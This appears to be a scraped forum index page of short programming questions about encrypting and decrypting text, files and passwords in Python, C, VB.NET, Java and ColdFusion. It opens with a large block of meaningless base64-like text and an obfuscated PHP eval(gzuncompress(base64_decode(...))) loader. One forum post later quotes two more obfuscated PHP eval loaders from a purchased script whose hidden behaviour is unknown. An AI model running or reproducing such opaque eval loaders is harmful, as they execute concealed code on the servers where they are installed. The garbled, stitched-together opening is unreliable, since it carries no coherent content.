gxQESpJiMvADVzlGJArZJRixxnCd7RZeZxOqGG5wZl/iu5tGPPlxwSST9iLia1ndbIp8lg8DF5RsjeEuhY0KyG43AkeXKpN/dDBRwfDh7Vr+eui2Yz5XfJs4xS/v4TffdDoNd2j1Jp6aSYJP2fc6bX95vxiiouX3EDzsBl/KHl2RpLV9rE/I6Am538Vo1IESAKgXpaIA5icPfaPpbXt8o0iBCoN3EYvcAH+RxMFFVJvVT6dG9NwLwtl6/kjkzmPCLCvhoAxpJiG6vi4u7CFLviMDwK7WaXHxDniQwfJGRUsLZYVWka6iJE9PLofxFcFgCwRCq/CRKtQ7PY6u0KKsejJ//pjRBdU/pcf3ZuyCCr8fRjOLibzZ5sa2SoSvhgkuaIpwiOUHNbRG1V768cMPIw7MESe2AP2GlCOADMJhpxu1T9JZsnOjfVsOStD+mlykIsXXuno0gt9KOKfXvJLI+V78gRLzUAJmYwoOrd7QabZW85njCv9ukutChT5GX0GHAb2kSDkcQOHWPMpTjEV7mfjyFyRjD3gqz9J4f39reTWlHcpOGTs4y+rsc7BX926eGTn8s18AW7yIcfS1HojBSP6YnQtMpZlircOJimq4npBjXVQ6yEDo/tZUfuwaaGWHkfqsibGOj6UsnI3F7c7zVNwYzrFHxfpQNwVOCXh0AUgCxAonHoAUl0rpnbwQwWEMuEyjBXSWedYJp8BHx22fjjvaDloBw7DBCwXH9v6HtK5WfAVvKRYVb67m7Okjj87dqnmJC+6Zz68L7DFUJKl8dbqvD5GvVV/uC46aDcIWa8fo+bJF5cs7zrvNjlNeGtT7aI5XH5GyVYPZB5izjcnLpAP+gXYzlRfepqp1hRIBQGTHIAdHhwKP7qslhWyYM24Ze+274PHhtTtlndi1H3JkgYY6y+OqJHAkjpjaSbmRY1xS+/1C8TgE9eEIq/83K9RoGpnumg6VNf72p0nL11USlfNrHy3TLqw9hkLIwFaoV7kPy3NfJAhe2OdbmoFCSFJu+4NDoW5jyrQZwn4WNmrKYlC72RKeK9vL+3MN7bkrnNAqsXR+f+4xnIximkTmuS/D3o5XFwhgbX+34jTndP793D/r2pdaOgTo3Ar+VulMSETCqcd6dNvQoXIbPJ4yeUysNkyUwh5yBQ5A5IcjiOVRn89/cNjMZUnFM9DRluxqlGLCeTs78TzmHIM0ekpfNRZoY0TwURgljWzHIBNoHe8A4aJNLzMWEBHvFKCwZaJL5GePd2y2d0u2Zbrpep5VWr3TTHKAXcNKBN0b/lvogogvTm2CF97Zs0RvdoCl/rWwMT9yRQJF9j7Upm1wVg+Rr41+Ydr5NC/0kSGJwe2oQjtbcUcNw== code 2 <?php $OOO0O0O00=__FILE__;$O00O00O00=__LINE__;$OO00O0000=5352;eval(gzuncompress(base64_decode('eNplj1ePgkAAhP8MCbsR44KIEMKDvbv29nKhLEVp7lKUX3+au9xdcpl5msx8yXAYIYRfQoabpCQGHMb4KxB4avFQL/0gJKBe5/C7+DZ0PZIxwP1MBRFJMtT/xTLSFKi/iN9Lw6vy2E6ilBLGgGUyosgfDrEThwCW0YwClxLT+YtQVAQFfj5hNG1sD/3zY3Z0w6ycSmKrytsdT2mqdw3hmx0HQ9nZjKz980LWu2h1MmtJrxiM/euiuzR4ge90e/3BcDSeTGfzxRKv1pvtbn84ns4X07Id4np+cL2FUZykd8qyvCgfzwqJUlNuKW1VqzV4CKFOCjMEv4eg/gnJvV8i')));return;?> 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In today's environment where just about anyone can snoop around your e-mail, it is prudent to securely encrypt your more private writings. This little Python program will make it easier to do so.

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+4 forum 1

I am trying to decrypt a CSV using Coldfusion. The CSV has been encrypted using gpg4win. I have created a scheduled task in CF Admin which checks a folder for the encrypted file and if found, decrypts it and stores the result in another folder as a CSV file (Which will then be imported into a DB). This is an excerpt of the code: <cfparam name="Variables.InputFolderName" default="inputfolder" /> <cfparam name="Variables.OutputFolderName" default="outputfolder" /> <cfparam name="gKeyPassphrase" default="sampletestkey" /> <!--- Passphrase for gpg encryption ---> <cfparam name="gEncryptionKeyID" default="sampletestid" /> <!--- Encryption iD ---> <cfset inputFilePath = ExpandPath("/resources/uploads/csv/#Variables.InputFolderName#") /> <cfset outputpath = ExpandPath("/resources/uploads/#Variables.OutputFolderName#") /> …

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The goal of my assignment is to create a program that takes a string of words and encodes or decodes the string using a simple substitution cypher. I've gotten a decent amount done but I am stuck at the part where I actually have to encrypt and decrypt using the offset that the user has input. This is what I have, can anybody lend a hand? #include <stdio.h> int main () { #include <stdio.h> int main () { char alpha[26] = "abcdefghijklmnop"; char ALPHA[26] = "ABCDEFGHIJKLMNOP"; char*encrypt(char*str,int offset); char*decrypt(char*str,int offset); int option; int offset; char str; char toencode(int alpha, int …

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hallo master .. I have a problem, how to make encryption and decryption using the Vigenere cipher in vb.net.? I hope someone can help me the problem. thank's before ..

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Hi DW peps. I've used the following codes to crypt and save files now I want to decrypt it when I'm reading it so that let say I want to check if the saved password matchs the entered password which the saved password is saved on pc drive e.g. Drive D:\. I wont put all of my code but will put the code I used to crypt and save the crypted text in a file. ' ontop you need to import these files. Imports System Imports System.Security.Cryptography Imports System.Collections Imports System.Text Private sub BtnRegist_Click() Dim name As String name = …

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This shows the code for one simple crypt of text by swapping two adjoining characters each. You can make that more complex if you like. Can also be used for one nice riddle.

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i want to knw that how to decrypt stored password in oracle database..

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Does anyone know of a way to encrypt a string and output it as x number of characters? I need it to always return the same number of characters. I know MD5 always returns it as 32 characters. I'd like for it to return less that that, maybe 20 or 24 (the number has to be divisible by 4). And I'd like to be able to decrypt it. I can't figure out how to do it. Can anyone give me suggestions? Thanks!

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Hy , I have to encrypt a message and then decrypt it. I have this code , but i need to save the encrypted string in a database and the code generates a random key every time. I could save the string and the key in the database but that is not ok . How can i make my own key without needing to generate it every time? [CODE] import java.security.InvalidKeyException; import java.security.Key; import javax.crypto.BadPaddingException; import javax.crypto.Cipher; import javax.crypto.IllegalBlockSizeException; import javax.crypto.KeyGenerator; import javax.crypto.SecretKey; public class LocalEncrypter { private static String algorithm = "DESede"; private static Key key = null; //private …

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+0 forum 10

I bought a script but it has two suspects encrypted files that I want to decrypt. Does anyone know how to do? [CODE]<?php $OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=484;eval($OOO0000O0('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NGY0KTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCdFbnRlcnlvdXdraFJIWUtOV09VVEFhQmJDY0RkRmZHZ0lpSmpMbE1tUHBRcVNzVnZYeFp6MDEyMzQ1Njc4OSsvPScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs='));return;?>kr9NHenNHenNHe1zfukgFMaXdoyjcUImb19oUAxyb18mRtwmwJ4LT09NHr8XTzEXRJwmwJXLT09NHeEXHr8XhtONT08XHeEXHr8Pkr8XTzEXT08XHtILTzEXHr8XTzEXRtONTzEXTzEXHeEpRtfydmOlFmlvfbfqDykwBAsKa09aaryiWMkeC0OLOMcuc0lpUMpHdr1sAunOFaYzamcCGyp6HerZHzW1YjF4KUSvNUFSk0ytW0OyOLfwUApRTr1KT1nOAlYAaacbBylDCBkjcoaMc2ipDMsSdB5vFuyZF3O1fmf4GbPXHTwzYeA2YzI5hZ8mhULpK2cjdo9zcUILTzEXHr8XTzEXhTslfMyShtONTzEXTzEXTzEpKX==tmklFbapFMagd25jcUEPwtwVRJ9jd25MDBFVFoiXwJLIKXppcJEPwolVfucidtEPwtOgA0aTA0lNTlSJdo9mDB5gCBOsDB5gDBWJbUEpwe09weEIhWp7tMilCBOlFJEPwtkSd2YifolvdjppdMOlGt5XDuEJhUE7tMa4DbWIhtEpweShgWpZcby1Dbklb29VC2AIhtEJRJ4vC2xiF3YlFZ9sDbYjRMc1dMHVFoiXwJLIKXpZcby1Dbklb29VC2AIhtEJRJ4vC2xiF3YlFZ9sCB5pFuaSCbOlRmnPFtwpweShkoOiforINUnVcbFIOoy0CA1idMlXfBxifo9ZwtIIhUE7tJO0DbOScUE9wtOLCbOiRT5zcBxlC3WIhtEJA2l0cA1idMymcbwJRtwQwJxiFmkiGUEPwtkTDbOlaMyZDByJdoAJNT4JA2l0cA5idBAJhUEpweShkuOpfoxlwe0IkuOpfoxlBznfweSh[/CODE] and: [CODE]<?php $OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=1804;eval($OOO0000O0('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NGY1KTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCdFbnRlcnlvdXdraFJIWUtOV09VVEFhQmJDY0RkRmZHZ0lpSmpMbE1tUHBRcVNzVnZYeFp6MDEyMzQ1Njc4OSsvPScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs='));return;?>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[/CODE]

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Is anybody know what is the easiest way to encrypt and decrypt text from textbox? Thank you in advance. Good day!

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Hey i wanted to know if there's a program that shows u a pattern on how they got the number if i give them 3 examples? for Ex: 1) 35777903801230601 (Encrypted) = 46071642 (Decrypted) 2) 35777903248036801 (Encrypted) = 43975216 (Decrypted) 3) 35777903508068601 (Encrypted) = 91756761 (Decrypted)

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Hey i wanted to know if there's a program that shows u a pattern on how they got the number if i give them 3 examples? for Ex: 1) 35777903801230601 (Encrypted) = 46071642 (Decrypted) 2) 35777903248036801 (Encrypted) = 43975216 (Decrypted) 3) 35777903508068601 (Encrypted) = 91756761 (Decrypted)

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hi i am looking for some code and step by step instructions for the c sharp encryption and decryption process. if anyone is willing to send me some instructions i would be grateful. thanks Neville

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Hi guys! I just want you to ask if their is an available decrypting software? Would you mind to suggest??? Thanx in advance :)

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I want to create a program that create a file and encrypt it and when the user click the file it will open the program and ask user for password and if the password is correct it will decrypt the file but not save the decrypt file and read the data from the file

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Hello. I am currently working on a little password based file encryption feature for an application I am doing. The following is an incomplete function that I have worked on to encrypt some content and (will eventually) write it to a file. [CODE]public static void encrypt(byte [] data, char [] password, File file) throws ... { byte[] salt = { (byte)0xA9, (byte)0x9B, (byte)0xC8, (byte)0x32, (byte)0x56, (byte)0x35, (byte)0xE3, (byte)0x03 }; int iterationCount = 50; PBEKeySpec keySpec = new PBEKeySpec(password, salt, iterationCount); PBEParameterSpec paramSpec = new PBEParameterSpec(keySpec.getSalt(), keySpec.getIterationCount()); SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("PBE"); SecretKey key = keyFactory.generateSecret(keySpec); Cipher cipher = Cipher.getInstance(key.getAlgorithm()); cipher.init( Cipher.ENCRYPT_MODE, …

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The End.